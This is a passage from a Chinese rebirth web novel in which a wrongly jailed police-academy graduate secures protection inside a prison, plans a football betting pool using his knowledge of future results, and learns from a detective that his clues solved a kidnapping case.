可是今天看来,陈水芳几乎是完全按照他的计划和要求行动的。
这是母亲对自己的爱,这是父母所有的积蓄。
就因为自己几句话,就全部奉献给了这些蛀虫。
但没有办法,这是此生,林燃知道的在狱中内部得到庇护的唯一办法。
在前世,陈水芳也是为了救自己,同样是付出了一切,但却没有起到任何作用。
这一世,希望这些钱能物有所值。
“平安符”已经到手,接下来就要为自己继续拼搏。
而等林燃被押走后,李昌东心里也是一块石头落地。
这小子太年轻,却又太沉静,太古怪了。
“到底怎么了?两万块就换这些,是不是还有什么动作啊?”
李昌东怀疑自己是不是被这小子诓了,站起身又踱步了几个来回。
可思虑一番后,又完全没在意了。
“奇怪,真奇怪,算了,管他呢,他自己提的要求,这两万块,赚得舒服!”,李昌东想到钱,开心地唱起调来。
“先到咸阳先为王~后到咸阳……”
——
铁门在身后一声闷响。
林燃站在312监舍门口,囚服整洁,脸上没有伤痕也没有淤青,只有一种过分的平静。
他目光扫过监舍,里面正在上演熟悉的一幕。
刀疤辉叉着腿坐在头板上,牛哥和麻杆一左一右,将周晓阳堵在墙角。
周晓阳脸上又多了道红印,正弯腰捡着被故意踢散的牙刷毛巾。
“哟,燃哥回来啦……啊?”
刀疤辉最先看到林燃,语气里的戏谑在看清林燃身后空无一人的瞬间僵住了。
没有狱警押送,没有戴戒具,甚至没有直接送回禁闭室——这不合规矩。
牛哥和麻杆也转过头,眼神从幸灾乐祸迅速转为惊疑不定。
老严那股子整人的劲头他们太熟了。
按说林燃这种“刺头”,不被扒层皮也得关个十天半月,怎么……这么快就回来了?还这么……完整?
林燃没说话,径直走向自己的铺位——头板位置。
他打出来的位置,这半天不在,刀疤辉马上偷偷挪了回去,铺盖都换回了原来的。
刀疤辉脸色变了变,屁股像被烙铁烫了似的,腾地站起来。
想说话,但嘴唇嚅动几下却没发出声音。
他看到了林燃的眼神——那不是虚张声势的凶狠,而是一种更深沉的东西。
像是看透了监狱里恃强凌弱的无聊把戏,对这一切早已漠然。
林燃在头板前停下,目光落在刀疤辉那床还算干净的被褥上。
“自己搬,还是我动手?”
声音不高,却态度冷硬。
一片寂静。
牛哥和麻杆下意识后退半步,眼神瞟向刀疤辉,又飞快移开。
刀疤辉脸上横肉抽搐,耻辱和恐惧在眼中交战。
他想起林燃上次动手的狠辣,想起肋骨和脖子上的伤还在隐隐作痛。
更想起老严居然就这么把人全须全尾地放回来了……这背后意味着什么,他不敢深想。
“艹……”刀疤辉从喉咙里挤出一声含糊的咒骂,却还是弯腰,一把扯起自己的铺盖卷,灰溜溜地挪到了旁边第二板的位置。
动作幅度很大,像是在发泄,却又透着掩饰不住的狼狈。
牛哥和麻杆见状,更是噤若寒蝉,连忙帮着把林燃那套新盖抱过来,铺得整整齐齐。
周晓阳抱着自己的东西,站在墙角,看看林燃,又看看垂头丧气的刀疤辉三人。
眼睛里重新燃起光亮,还有一丝难以置信的激动。
林燃这才在头板坐下,看向周晓阳:“过来。”
周晓阳连忙小跑过来。
“以后,你睡这儿。”
林燃指了指头板旁边刀疤辉刚铺好的位置。
那是监舍里仅次于头板的好地方。
周晓阳愣住了。
牛哥和麻杆也愣住了,刀疤辉随即脸上涌起不甘,却不敢反驳。
“燃哥,这……”
周晓阳受宠若惊。
“让你睡就睡。”林燃语气平淡,却带着决定性的力量。
他需要培养自己人,周晓阳底子干净,心思单纯,是可塑之才。
更重要的是,这一举动本身就是信号——跟着我,有肉吃;背叛我,就弄死。
周晓阳重重“嗯”了一声,眼眶有些发红,赶紧把自己的东西挪过来。
刀疤辉脸色铁青,却只能把自己的铺盖又往旁边挪了挪。
他偷偷瞄向林燃,发现对方根本没有再看他们,只是闭目养神,仿佛刚才的一切不过是拂去微不足道的灰尘。
这一刻,312监舍里所有人都清晰地意识到:
林燃的地位,不仅回来了,而且更加不可动摇。连老严似乎都拿他没办法?
消息像长了脚,很快在监区里传开。
“听说了吗?312那个林燃,老严亲自带走的,屁事没有就回来了!”
“刀疤辉那怂样,看样子又被镇住了……”
“这小子到底什么来头?严干部都动不了他?”
各种猜测和议论在放风时窃窃私语的流传,但更让人惊爆眼球的消息还在后面。
第十九章 阅览室
几天后,月底的全体犯人教育大会在监狱操场举行。
黑压压的人头,嗡嗡的低声交谈,浑浊的空气。
台上坐着监狱几位领导,副监狱长李昌东坐在正中偏右的位置。
例行训话,千篇一律的改造要求,纪律重申。
犯人们大多低着头,神游天外。
直到李昌东清了清嗓子,接过话筒。
“下面,我重点表扬一位近期改造表现突出的服刑人员。”
台下稍微安静了些,都想知道是谁走了关系。
李昌东目光扫过台下,似乎在寻找,最后定格在第三监区的方位。
“312监舍,林燃。”
这个名字被念出来时,第三监区这边明显骚动了一下。
无数道目光“唰”地投向坐在中间的林燃。
林燃抬起头,表情平静,迎向李昌东的目光。
“该服刑人员入监以来,深刻反省自身错误,积极接受改造,遵守监规纪律,劳动态度端正,表现出了良好的悔罪意识和进取心。”
李昌东的声音通过扩音器回荡在礼堂。
“特别是,该服刑人员有强烈的学习愿望,主动申请利用业余时间学习法律知识,提高自身法律素养,这种精神值得肯定!”
刀疤辉、牛哥、麻杆就坐在林燃附近,听到这话,脸色一阵红一阵白。
深刻反省?遵守监规?
他们身上还没好利索的伤隐隐作痛。
可这话是从副监狱长嘴里说出来的!
周晓阳则激动得身体微微发抖,与有荣焉。
“经监区研究,并报监狱批准,决定调整林燃劳动改造岗位,担任监狱阅览室的勤杂工,希望他珍惜机会,继续努力,也为其他服刑人员树立一个好榜样!”
“哗——”
台下终于响起了明显的哗然。
阅览室!那可是监狱里的“美差”!
清静、干净、能看书、甚至还能偶尔接触电脑,虽然只是管理用,但也不知多少人眼红。
这刚来才几个月的林燃竟然拿到了这么好的位置?
而且还是李副监狱长亲自宣布?
这下,所有关于林燃“有背景”“有关系”的猜测,似乎都被证实了。
一道道目光变得无比复杂,羡慕、嫉妒、敬畏、巴结……
李昌东讲完,放下话筒,目光似乎不经意地又扫过林燃,微微颔首。
林燃能感觉到无数目光落在他身上,好奇的、忌惮的、探究的、甚至隐藏敌意的。
他都坦然受之,至少,他此时有了一件护身符——搭上了李狱长的线。
相信这下幕后黑手如果还想对自己下手,就不是随便找几个狱中打手可以完成的了。
…………
监狱阅览室位于监区综合楼的二层,一扇厚重的铁门后,是另一个世界。
阳光透过高处的铁窗栅栏,投在刷着淡绿色墙漆的空间里,切割出明暗交替的光带。
这场景让林燃微微有些出神,像不久前自己熟悉的警校教室。
空气里浮动着旧纸张特有的、略带霉味的沉静气息,混合着消毒水味儿。
几排深木色的书架靠墙而立,书籍分类粗略,从马列著作、法律条文到泛黄的武侠、农业养殖技术,纷杂、凌乱。
靠窗的位置摆着四张长桌,配着固定的长凳。
最里面靠墙是一张办公桌,桌上有一台老式电脑——和林燃在医务室见过的类似,球面显示器,主机嗡嗡作响。
管理阅览室的是一名姓赵的老年狱警,头发花白,戴着老花镜,正慢条斯理地在登记簿上写字。
听到开门声,他抬起头,透过镜片看了林燃一眼。
“新来的?林燃?”声音平和,没有狱警常有的那种居高临下。
“报告领导,是。”林燃站直。
赵警官——犯人们私下叫他“老赵头”——摆了摆手:
“在这里不用那么拘束。李监打过招呼了。
你的工作是整理书籍,登记借阅,保持清洁。每天上午八点到十一点,下午两点到四点。没事的时候,也能坐着看下书,但不能带走,不能损坏。明白?”
“明白。”
“那行,今天先熟悉一下。”
老赵头指了指书架。
“分类标签都快掉了,你重新写一下,贴好。那边有纸笔和胶水。”
林燃点头,开始工作。
他动作利落,心思却不在书架上。
目光迅速扫过整个阅览室:
书架布局、桌椅位置、监控摄像头位置——只有门口一个、老赵头的习惯——每半小时会起身倒水,喜欢看报纸、窗户的构造——焊死的铁栅,玻璃很厚……
以及,坐在最里面角落那张桌子旁,正低头看一本厚厚外文书的身影。
林燃心里一动,在自己监区没见过这个犯人。
看他看书这么认真的样子,很少见。
这人穿着一套洗得发白的灰色囚服,坐姿端正得像在参加学术会议。
手指修长,翻页的动作轻盈而富有韵律感。
金丝边眼镜后的目光专注,仿佛周围的一切——包括刚进来的林燃——都不存在。
林燃只瞟了一眼就收回了目光。
他继续整理书籍,将那些散乱堆放的《刑法通则》《刑事诉讼法》归到法律类,把缺页的《射雕英雄传》挑出来放在待修补的筐里,把几本《养猪实用技术》和《大棚蔬菜种植》摆到农业栏。
他做得认真而细致,偶尔向老赵头请教某个分类是否合适。
老赵头起初只是淡淡点头,后来见林燃确实在用心,而且字写得端正,让这老赵头都有些诧异。
“可以啊,你这楷书挺端正的。”
“领导,我这小时练过,还行吧,您以后这块都安排我就是。”
林燃在老赵头面前,完全是一副大学生乖巧听话的模样。
让见惯了作奸犯科之辈的老赵态度温和了许多。
“嗯,好,在这好好干,比你在车间轻松多了……”
老赵头指了指一个空荡荡的角落,“
把这本《犯罪心理学导论》放心理学那边……对,就那里。这书没什么人看,就一个人常借。”
林燃顺着他的目光看去——正是那犯人的方向。
第二十章 足球
“那人是谁?看着好认真?他常来?”林燃状似随意地问。
“嗯,有时间就会来,一般每周二、四下午。”
老赵头扶了扶眼镜,突然压低语气提醒道:“你注意一点,少和他说话,他……不是一般犯人,小心点,看起来斯斯文文的,实际很危险,这人外号‘教授’,你没听说过吗?”
听到这个名字,林燃头皮一下发麻。
他怎么不知道,他太知道了,前世里“教授”就是安江这里十分神秘恐怖的一名罪犯,关在重罪监区,却能自由活动。
甚至后面不仅越狱出去,还犯了一系列大案,十分可怖。
“为了让他安分,他们监区特意找我们,给他特批了不限时的阅览时间,他这人,看的书也怪,全是外文的、心理学的、哲学的……不过也好,在我们这也算守规矩,”
“嗯,明白了”
林燃过去把书放好,转身时,正好对上教授抬起的目光。
隔着两张桌子的距离,教授的眼神平静无波,仿佛在看一个陌生人。
但林燃捕捉到了那镜片后一闪而过的、极细微的玩味。
他点了点头,算是打过招呼,便继续忙自己的。
但教授在他身后轻轻吐出几个字:“你是新来的吧。”
“嗯。”
林燃有些尴尬的回头,他不太想和这种危险犯扯上关系。
“你当过兵吧……?”
简单一句话,让林燃浑身一僵。
“不……你身上的味道,感觉比部队又多了一点什么……啧,有点像……”
只是简单一个照面,林燃感觉自己就被那目光给看透。
他心底一寒,警校生的身份是他在这里最大的软肋。
一旦说破,就将树敌无数。
前世他和教授没有接触过,是传说中的可怕人物,这一世见面才知道果然如此。
他有些担心教授看破自己身份。
敷衍道:“没有,我就普通人……”
“Mendacium est sicut nebu— brevi tantum tempore tegit; veritas est sol, qui omnia manifestat.……”
“什么?”
林燃没想到教授说了一串陌生的词语。
“这是拉丁文,意思是‘谎言就像雾——只能掩盖很短的时间,真理是太阳,使一切显现’,柏拉图说的。”
“咳咳,有意思,赵干部叫我,我先过去了。”
和几句话,已经让林燃微微出汗,他找了个理由避开了。
接下来的几天,林燃逐渐熟悉了阅览室的节奏,除了教授偶尔投来的阴鸷目光外,一切都好,他也尽量避开和教授的接触。
而老赵头话不多,但为人公道,不克扣时间,也不故意刁难,是他在安江遇到的最好的干部。
林燃把书架整理得井井有条,地面擦得光亮,连窗户玻璃都仔细抹过。
老赵头看在眼里,偶尔会多给他十分钟看书时间,或者把自己带来的报纸让他翻翻。
报纸——这是林燃目前接触外界信息最重要的渠道。
看到这,他眼睛一亮!
这就是他想方设法到阅览室的重要原因!
也是他重生后想到的少有几个能在监狱实行的赚钱方法。
重生回来,前世的知识、信息都难以在高墙里发挥作用。
想做什么生意、甚至买房炒股,这在监狱里都不可能。
但监狱里有监狱里的规矩,也有里面的法门。
在监狱这个信息闭塞、情绪压抑的环境里,赌博是仅次于暴力的精神鸦片。犯人们需要刺激,需要寄托,哪怕只是虚拟的输赢。
监狱里赌博成风,而且进监狱的大部分都有赌瘾,不少监狱里赌注甚至比外面还大。
林燃就想到了一点:把足球和赌局联系起来。
2001年世界杯预选赛,亚洲区十强赛即将在八月拉开战幕。
中国队的赛程、对手分析、球员状态……这些在常人看来只是茶余饭后的谈资,在林燃眼中,却是闪着金光的机遇。
林燃决定在监狱里开赌局!
这里之前没人开过赌球庄,因为信息渠道不通!
监狱里很少有机会看球,平时几乎都是看的新闻和教育片,哪有渠道看球。
但此时,却正是国内足球前所未有的黄金时代!
足球热潮席卷全国,监狱里也不例外,监狱里都球迷只能通过探视、报纸、电话等渠道,了解一点相关讯息,聊作谈资。
劳动改造休息时间,各人都会聊到足球。
说到国足咬牙切齿,说到甲A眉飞色舞。
而且今年还有个大戏!
国足要冲击2002世界杯,马上就是关键点十强赛!
他清晰地记得前世的结果:中国队在神奇教练米卢的带领下,历史性地首次闯入世界杯决赛圈。
那是2001年十月底,举国欢腾的时刻。
但现在——绝大多数人,包括所谓的“专家”,对国足出线持悲观态度。
分组抽签尚未最终确定,舆论普遍认为日韩作为东道主直接晋级,伊朗、沙特是亚洲顶级强队。
中国队能拼个小组第三已是万幸。
悲观,意味着赔率会很高。
既然自己已经知道骰子里摇出的会是什么,那为何不赚这个钱!
而且自己现在在阅览室,唯一能够接触到外界足球体育讯息的渠道,自己也能把控!
这不做局,更待何时!
林燃开始有意识地留意监区里关于足球的议论。
放风时,劳动间隙,总能听到有人吹嘘自己当年看球的“眼光”,或者骂国足“脚臭”。
他不动声色地听着,偶尔插一两句话,抛出几个专业术语——警校时被室友拉着看了不少球,基本的常识还在。
渐渐地,有人开始主动找他聊球。
“燃哥,你也懂球?”一次放风时,隔壁监舍一个因聚众赌博、外号“铁头”的壮汉凑过来,递了支皱巴巴的烟,监狱里的硬通货。
林燃接过,没抽,夹在耳朵上:
“懂点。以前在学校常看。”
“那你觉得这次十强赛,咱们有戏吗?”
铁头眼里闪着光,那是赌徒特有的、混合着贪婪和侥幸的光。
林燃沉吟了一下,摇摇头:
“难。伊朗太强,沙特技术好,卡塔尔也不弱。咱们锋线还行,中场组织是问题,后防更悬。”
这话说到了铁头心坎里,他猛拍大腿:
“对嘛!我也觉得没戏!可我们号里有个傻逼,非说这次能行,还要跟我赌!”
第二十一章 设局
“赌什么?”
“赌一条烟!”
铁头压低声音,“妈的,红塔山!他说要是国足出线,他给我一条;要是没出线,我给他一条。”
林燃心中一动,面上却不动声色:
“一条烟……不少啊。你接了?”
“接了啊!白给的为啥不接?”
铁头咧嘴笑,露出被烟熏黄的牙。
“燃哥,你说我赢面大吧?就是担心这小子不认账,谁赢谁输要从想办法往外面问,毕竟我们这没办法直接看球啊。”
他对林燃客气,因为之前林燃几次斗殴,打出了些名气,李昌东的点名表扬,也代表这人有关系。
林燃笑了笑,没直接回答:
“比赛还早,变数多,至于你说的这个‘看结果’的事,我倒有办法。不过……要是真想玩大的,光你俩对赌没意思。”
铁头眼睛亮了,他对设赌局有天然爱好。
“燃哥有路子?”
“阅览室那边,老赵头订了一份《体坛周报》,上面能看结果。”
林燃压低声音。
“老赵头喜欢看那报纸,我也能看到,每周四出刊,就能看到上周比赛结果,我想……”
铁头心领神会:
“明白了!燃哥,那你能告诉我们结果啊,这你每天都在阅览室,不信的还能去阅览室查证!那你甚至还能开个庄啊!”
林燃不置可否地笑了笑。
但种子已经埋下。
他开始行动。
他利用阅览室工作的便利,有意识地收集体育报纸,记住关键信息:国足热身赛成绩、海外球员状态、对手情报、媒体评论倾向……
然后,在放风间隙、聚集聊天时,他和“铁头”用闲聊的语气,“无意间”透露给闲聊的犯人。
他的话总是留有余地,不直接说“国足一定能出线”,而是说“米卢这个教练有点邪门,带弱队常有惊喜”。
或者说“这次抽签如果避开伊朗,其实有机会”。
这些话通过犯人们的口耳相传,逐渐发酵,一种微妙的氛围开始在某些监舍蔓延。
林燃没有急着设立明确的赌局。
他知道,火候不到,强扭的瓜不甜。
他需要等一个契机,等某种情绪积累到临界点。
这个契机,在月底的一天下午到来。
老赵头难得地一进门就主动聊起当天的《体坛周报》:“嗨!小林啊,这次国足又没戏了!”
林燃凑了过去,头版标题触目惊心:
文章分析了各种抽签可能性,悲观论调占了主流。
配图是国足球员垂头丧气的资料照片。
等老赵看完,林燃想办法把这份报纸上相关的一版剪了,夹带出来,在犯人中传阅,哀叹和骂娘声四起。
“看看!我说什么来着!死定了!”
“妈的,又是死亡之组!老子当年看球就看吐了!”
“赌个屁!肯定输!”
林燃在阅览室整理报纸合订本时,铁头气喘吁吁地跑进来。
他听说了国足身陷死亡之组的事,甚至临时托关系借了阅览室的证,借这里的电脑上了新浪网,确认了真是如此。
“燃哥!看到了吗?完了!全完了!我那条烟悬了!”
林燃凑近屏幕,仔细看了看标题和内容,沉默了片刻。
“比赛还没开始。”他说,“报纸也要博眼球。
有时候,最坏的预期,反而可能是最好的铺垫。”
铁头愣住:“啥意思?”
“意思是,”林燃放下报纸,目光平静。
“如果所有人都觉得必死无疑,那么只要不死,就是胜利。而胜利的滋味……会让所有参与其中的人,愿意付出更多代价去回味。”
铁头似懂非懂,但看着林燃平静的脸,心里那股焦躁莫名地平复了一些。
“燃哥,你说……咱们能不能,搞个大的?”
铁头压低声音,眼里闪着赌徒特有的、混合恐惧和兴奋的光。
“不光是我和那傻逼的对赌。咱们……开个盘?让想玩的人都下注?”
林燃等的就是这句话。
但他没有立刻答应。
“开盘需要本钱,需要信用,需要能镇得住场子的人。”
林燃缓缓道,“而且,这事风险大。被抓到,关禁闭都是轻的,说不定要加刑。”
“我知道!但富贵险中求啊燃哥!”
铁头急切道。
“本钱我可以凑!我认识几个号里的球迷,他们也有兴趣!信用……燃哥,现在监区里谁不知道你?
连李监都点名表扬你!至于镇场子……燃哥,你只要点头,我铁头第一个挺你!
再说了,我们也就是几个看球的自己玩,又没碰他们那些大佬的赌局。”
林燃看着铁头因激动而涨红的脸,知道火候差不多了。
“这事,不能急。”
他摆摆手,“这样,你回去先跟你信得过的几个人透透风,看看反应。记住,只找嘴严的、真想玩的。赌注……先别用实物,用‘点数’。”
“点数?”
“嗯。比如,一条烟算10点,一箱方便面算5点,现金……暂时不收,太扎眼。愿意玩的,私下记个账,按点数下注。
等结果出来,再按点数结算实物。”林燃说,“这样就算被查到,也难抓证据。”
铁头恍然大悟,连连点头:“还是燃哥想得周到!点数好!我这就去!”
他风风火火地走了。
林燃坐回位置,看着窗外被铁栅分割的天空。赌局的雏形已经有了,接下来需要精细操作:
控制参与人数,太多易暴露,太少没赚头。
要平衡投注倾向,不能一边倒,否则庄家风险大。
最后还得留出足够的利润空间和打点各方的“润滑剂”。
他正沉思着,老赵头从外面进来,手里拿着一张探视通知单。
“林燃。”
老赵头把通知单递过来,“有人申请探视。明天上午。听说还是你女朋友?”
老赵头说这话时,笑得和煦,像看自己孩子一样看着林燃。
“听说那姑娘挺漂亮的,你呀,好好改造,争取减刑,别辜负人家……”
林燃含糊点了下头,接过通知单,上面申请探视人一栏,写着两个字:
秦墨。
他瞳孔微缩。
终于来了。
是案件有了突破,还是新的难题?
抑或是……她察觉到了什么?
无论是哪种,这次会面,都至关重要。
第二十二章 抓捕
虽然和计划差不多,但林燃还是有些紧张。
窗外响起收工的哨声。
林燃站起身,将阅览室的桌椅归位,书架整理整齐,向老赵头道别。
走出综合楼,傍晚的风带着监狱特有的铁锈和尘土气息。
操场上,犯人们正排队回监舍,身影在橘红夕阳下拉得很长。
林燃走在队伍中,目光扫过那些或麻木或凶戾的面孔。
他暗暗下定决心,自己不能和这些人一样沉沦。
赌局即将开盘,秦墨即将到访。
机会一点点来了。
…………
林燃被狱警带到会见室,秦墨已经等了有一会儿。
这是他故意安排的,没那么着急见面,就是想给对方一点小小的心理优势。
见林燃姗姗来迟,与上次的紧绷审视不同。
秦墨脸上带着一种竭力压抑却仍从眼角眉梢流露出的振奋,以及更深沉的困惑。
同样的玻璃墙,但两人间的距离却近了一些。
林燃坐下,拿起通话器,没等他开口,秦墨便向前倾身。
声音透过话筒传来,压得很低,语速因激动而略快:
“抓到了。”
三个字,却如深潭投石。
林燃眼神一凝,面色却平静如常,只微微点了点头,示意她继续。
秦墨吸了口气,整理下思绪,然后开始讲述,声音带着一点激动和小兴奋:
“你上次说的那些很有用,回去后我没敢直接报给专案组,太具体了,来源没法解释。
但我换了个方式……我以‘梳理现有物证特征,进行嫌疑对象筛查’的名义,写了一份内部参考分析报告。”
说这些时,她目光有点避开林燃,因为她用着他的线索,却只能挂自己的名。
好在林燃面无表情,只是微微额首。
她顿了顿,继续说:
“报告里,我‘推断’绑匪年龄在35至50岁之间,对安江老城区,尤其是86年改名前的‘宏江’一带极为熟悉,很可能在此长期生活或工作;
文化程度较高,有良好的书写习惯和一定的古文功底,可能从事与文字、教育、文化相关的工作;
其作案手法冷静、条理清晰,带有强烈的控制欲和展示欲,可能在实际生活中遭遇重大挫折,心理压抑;
对财政局内部环境或周局长家庭情况有一定了解,但非直系亲属或密切往来人员,更像是一种‘家属’或‘边缘接触者’。”
林燃静静听着,心里明白,秦墨将他提供的关键信息,巧妙地转化为了符合刑侦逻辑的“筛查对象”。
既用了线索,又隐藏了来源。
“报告递上去,起初没太被重视,老刑警们更相信传统的摸排和社会关系调查。”
秦墨嘴角勾起一丝微不可查的弧度。
“但他们那套方向太多,人手不够,进展缓慢。直到……有领导在案情分析会提了一嘴我的报告,这他们才重视起来……”
她嘴里的“领导”,其实就是自己的父亲秦卫国,作为分管刑侦的副局长,自然会在关键节点给自己女儿撑腰。
但和林燃解释时,隐去了这一细节。
却没想到林燃早就对她的背景了然于心。
“按你的线索,我的报告后,这效率就快多了,在排查周局长近年来审批驳回的项目、处理过的信访纠纷时,一个名字被筛了出来——
‘安江市地方志编纂办公室’,他们去年申报过一个‘宏江古镇文化保护与修复’的专项经费,金额不小,被财政局以‘项目论证不充分,非当前重点’为由暂缓了。”
林燃的眼睛微微眯起。
“地方志办公室……”他的手指在玻璃这边无意识地轻轻敲击,“完全符合‘文化系统’、‘与文字打交道’、‘可能涉及古文和地方历史’这些特征。
正如之前的画像!
“……我们调阅了该办公室所有人员的档案,重点筛查35岁以上、在安江工作超过15年的。”
秦墨继续道:
“然后,一个叫‘范文昌’的副研究员进入了视线。52岁,安江师范专科学校中文系毕业,81年就进入地方志办公室工作,至今整整二十年。
性格内向,不善交际,是单位里有名的‘老学究’、‘笔杆子’。曾多次参与旧志整理和地名考据工作,对‘宏江’历史沿革极熟。更重要的是……”
秦墨的声音更低了,“他儿子三年前患白血病去世,几乎花光了家底,妻子因此抑郁成疾,常年服药。
他本人曾多次申请高级职称,都因‘名额有限’、‘科研成果不足’被卡,去年唯一有望的项目经费又被财政局驳回。
单位同事反映,近一年来他愈发沉默寡言,有时对着旧地图和县志能发呆一整天。”
动机、心理压抑、对“宏江”的执念、与财政局的间接过节……画像上的人影开始高度重叠。
“但这还不够。”
秦墨继续道:
“我们不能打草惊蛇。专案组派了两个人,以外调走访‘宏江历史资料’的名义去了地方志办公室,我面嫩,跟着负责‘请教专业问题’。我特意带了那几张纸条的清晰复印件,夹在一堆旧资料里,趁请教时‘不经意’摊开……”
“聪明。”
林燃点头赞许了一句,选这个姑娘果然没错,前世她能升这么快,不仅仅是靠裙带。
被对面的年轻囚徒赞扬,秦墨居然有些脸颊微红:
“那个人目光扫过那些纸条,特别是看到那个‘阅’字时,我明显看到他扶眼镜的手抖了一下,纸都拿不稳了。
虽然他很快掩饰过去,但那种下意识的反应……错不了。
他认得自己的笔迹,或者说,他对自己笔迹出现在这种场合感到震惊和不安。”
“确定了嫌疑,接下来就是证据和抓捕了”林燃心想。
果然,秦墨说道:
“我们对他进行了外围秘密调查和监控。发现他独居在老城区一处即将拆迁的筒子楼里,邻居很少。
我们先去了他单位,调了他这些年经手的材料和公文,通过比对,那个‘阅’字果然是他的字迹!”
第二十三章 优秀毕业生
秦墨激动起来:
“……接着批到搜查证后,我们趁他上班时突击搜查他家。
非常简陋,几乎没什么值钱东西,但书极多,在他书桌上,发现,以及一小捆没使用的、与绑架信同款的信纸。
更重要的是,有一本他自己的工作笔记,最后几页用极其隐晦、甚至带点文言腔的句子,记录了他对周局长‘庸碌无能’、‘阻挠文脉’的愤懑。
以及‘予其教训’、‘警其心神’之类的想法,时间跨度正好覆盖案发前后。”
林燃听到这里,缓缓呼出一口气。证据链闭合了。
“抓捕很顺利。”
秦墨最后说道:
“在他办公室,他看到我们出示的搜查证和部分证据照片时,没有挣扎,只是喃喃一句‘还是太快了……’。
审讯时,他起初沉默,后来在证据面前,承认了罪行。作案过程和你推断的差不多……孩子在他试图转移时哭闹挣扎,他惊慌之下失手……
之后那些纸条,既是为了误导拖延,也是他内心那种扭曲的、想要展示‘智慧’和‘掌控力’的欲望在作祟。
他说,看到报纸上分析案件陷入僵局,警方‘毫无头绪’时,他甚至有过一丝病态的快感。”
会见室里陷入短暂的沉默。只有通话器里轻微的电流声。
秦墨看着玻璃墙后的林燃,眼神有些复杂:
“案子破了,局长亲自给专案组记功。
我的那份‘报告’被当作关键突破点之一……没人知道报告背后的信息来自哪里。”
她停顿了更长的时间,终于问出了那个盘旋已久的问题:
“林燃,你一个身在监狱,信息闭塞的……犯人,到底是怎么看出这些的?仅凭我上次给你看的那一眼照片?”
林燃的笑容慢慢收敛,眼神变得沉静而专注,仿佛回到了警校的课堂。
他没有直接回答秦墨的问题,而是微微调整了坐姿,囚服下的脊背挺直了些。
“秦墨。”
他第一次叫了她的名字,声音平稳,带着一种回忆的调子。
“你还记得警校刑事技术专业的‘三基’考核吗?”
秦墨一愣,下意识点头:
“基本功、基础理论、基本技能。每学期末的综合测评,加权比例很高。”
“对。”
林燃目光似乎透过玻璃墙,看到了遥远的过去。
“我那一届,国保专业和你们刑技专业有些课程是重合的。现场勘查、文书检验、犯罪心理学导论……这些课,我的期末成绩,都是优。”
他顿了顿,似乎在挑选合适的词句:
“不是死记硬背的那种优。我……可能在这方面有点特别。
对细节,对人的行为逻辑,对文字背后隐藏的情绪和习惯,比较敏感。
教授说过,这叫‘观察力过剩’,既是天赋,也是负担。”
秦墨没有说话,但眼神里的怀疑稍稍退去,被一丝审视取代。
警校的考核严格,能拿到全优的,确实是凤毛麟角,她也有所耳闻当年国保专业有个学霸。
“毕业前那个学期,我在市局刑侦支队实习,跟的是老预审员、省级专家刘一魁。”
林燃继续道,语气平淡得像在叙述别人的事。
“三个月,跟了七起案子,从盗窃到伤害都有。我师傅有个习惯,喜欢让我先看卷宗,特别是口供和现场照片,然后他问‘觉得哪里不对劲’。”
他目光落回秦墨脸上:
“开始十次有九次错。后来慢慢能蒙对一半。最后一次,是一起伪装成入室抢劫的故意伤害案,丈夫打晕了妻子,伪造现场。
我从丈夫口供里一个关于‘听见隔壁狗叫时间’的细微矛盾,和现场照片里一个本该被碰倒却没倒的花瓶,指出了问题。案子后来破了。”
秦墨的手指无意识地摩挲着通话器。
这些细节,不像临时编造的。
省级专家刘一魁的威名,她也听说过。
能在这种业内大佬手底下实习,还能连续破案,全校也没几个。
“所以,当你看那张纸条照片时。”
她缓缓问道,“你是在用警校学的东西,还有实习时练出来的‘感觉’?”
“不全是‘感觉’。”林燃摇头。
“是分析和联想。你给我的照片虽然只有一眼,但信息量足够大。
纸条的质地、钢笔水的渗透度、字迹的工整程度和笔画细节、措辞的习惯……
这些东西,在《文书检验》和《笔迹学》里有系统的分析方法。
而绑匪选择纸条而非电话、用词文白夹杂、对旧地名的使用、以及那种隐含倨傲的命令语气……
这些则涉及到犯罪心理画像和行为分析。”
“犯罪心理画像和行为分析?那是什么?”
这个词秦墨是第一次听说,一脸疑惑。
林燃顿时反应过来,犯罪心理画像、心理侧写、行为分析这一套国外的犯罪心理学理论,此时国内完全是空白。
几年后才由公大李玫瑾教授开始研究引入,等实践那是快十年后的事了。
他是前一世通过网络等途径学习到了这一课程,放在这个时候,简直是降维打击。
当然,再也不能和他人提起这个词。
“咳……那是我们国保学的一个课程,好了,我也说说我的目的吧。”
林燃快速换了个话题,语速平稳,条理清晰,完全不像一个身陷囹圄、与世隔绝的囚犯。
更像是在进行案例分析讨论的同行。
“我承认,有直觉的成分,但直觉建立在大量的知识储备和刻意的思维训练上。”
林燃看着秦墨,眼神坦然。
“在里面的这些天,除了干活、应付麻烦,我所有的时间都在回想、复盘。想我自己的案子,也想以前看过的、听过的各种案例。
阅览室的法律书、旧报纸,甚至一些杂志上的社会新闻,都是我‘练习’的材料。我好像……只有不停地思考这些,才能暂时忘记自己在哪里,才能觉得自己……还没完全废掉。”
最后这句话,他声音低了下去,带着一丝不易察觉的落寞和自嘲,却比任何激昂的辩解都更有力。
秦墨沉默了。
她想起档案里林燃“警校优秀毕业生”的评价,想起他入狱前本该一片光明的前程。
再对比眼前这个苍白消瘦却眼神锐利的囚犯,心中的怀疑消退了几分。
第二十四章 忠、贞、智、勇
一个天赋过人、受过系统刑侦训练、又因巨大冤屈和困境而将全部心力投入案情复盘和思维磨砺的人。
在信息极度匮乏的情况下,捕捉到常人忽略的关键点,做出惊人推断……
这虽然依旧有些不可思议,但并非完全不可能。
尤其是他提到的那种“观察力过剩”和几乎偏执的复盘思考,与她所知的某些顶尖刑警的特质,隐隐重合。
“所以。”
秦墨终于再次开口,声音干涩。
“你帮我破案,既是为了证明你的价值,也是为了……练习?”
“为了活下去。”
林燃纠正道,目光灼灼。
“秦墨,你之前不是问我有没有涉毒,我现在明确告诉你,我的案子是冤案,但我现在没有能力自己翻过来。
我需要外面的眼睛,需要信息,需要……可能的机会。
帮你破案,展现我的能力,是我想和你——或者说,和你所能代表的警方力量——
建立联系的方式。我需要一个渠道,
一个或许能在未来某一天,让真相有机会浮出水面的渠道。”
他坦白了部分动机。
“冤案……?”
秦墨深吸一口气,感觉手中的通话器有些发烫。
林燃的这个要求大胆而危险。
理智告诉她,和一个重刑犯,尤其是涉毒罪名的犯人保持私下联系,风险极高。
但职业本能和内心深处对真相的追求,又让她无法轻易拒绝这样一个……堪称“奇才”的潜在合作者。
“你的能力,我见识了。”
她最终说道,语气恢复了刑警的冷静。
“但你的身份,是最大的问题。我不可能向专案组汇报线索来自一个……服刑人员。”
